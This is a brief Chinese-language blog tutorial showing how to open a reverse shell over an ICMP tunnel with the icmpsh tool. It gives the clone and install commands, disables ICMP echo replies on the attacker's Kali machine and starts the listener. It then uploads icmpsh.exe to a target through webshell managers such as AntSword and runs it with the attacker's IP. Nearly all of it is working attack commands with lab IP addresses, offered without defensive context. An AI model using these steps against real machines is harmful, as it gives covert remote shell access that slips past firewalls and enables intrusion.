利用ICMP隧道反弹shell
利用ICMP隧道反弹shell
(1)下载icmpsh:
git clone https://github.com/bdamele/icmpsh.git
![](https://img2020.cnblogs.com/blog/1674381/202108/1674381-20210831105150518-429842668.png)
(2)python安装类库python-impacket
apt-get install python-impacket
![](https://img2020.cnblogs.com/blog/1674381/202108/1674381-20210831105211579-265366912.png)
注:必须下载安装python-impacket,而不是python3-impacket
(3)关闭本地系统ICMP应答(即禁ping,开启系统ping将最后的1改为0即可)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
![](https://img2020.cnblogs.com/blog/1674381/202108/1674381-20210831105234565-194030144.png)
(4)在kali上开始监听
python icmpsh_m.py 本机ip 目标ip
即:
python icmpsh_m.py 192.168.43.204 192.168.43.50
![](https://img2020.cnblogs.com/blog/1674381/202108/1674381-20210831105258679-1573159602.png)
(5)将icmpsh.exe传输到靶机上(尝试用哥斯拉执行命令不成功,换为蚁剑后成功):
![](https://img2020.cnblogs.com/blog/1674381/202108/1674381-20210831105519669-1459219300.png)
icmpsh.exe -t 目标ip -t 后面接上攻击机的ip地址
即:
icmpsh.exe -t 192.168.43.50 -t 192.168.43.204
![](https://img2020.cnblogs.com/blog/1674381/202108/1674381-20210831105612372-1418374081.png)
法二
在目标机器上运行
icmpsh.exe -t 攻击机IP
即:
icmpsh.exe -t 192.168.43.204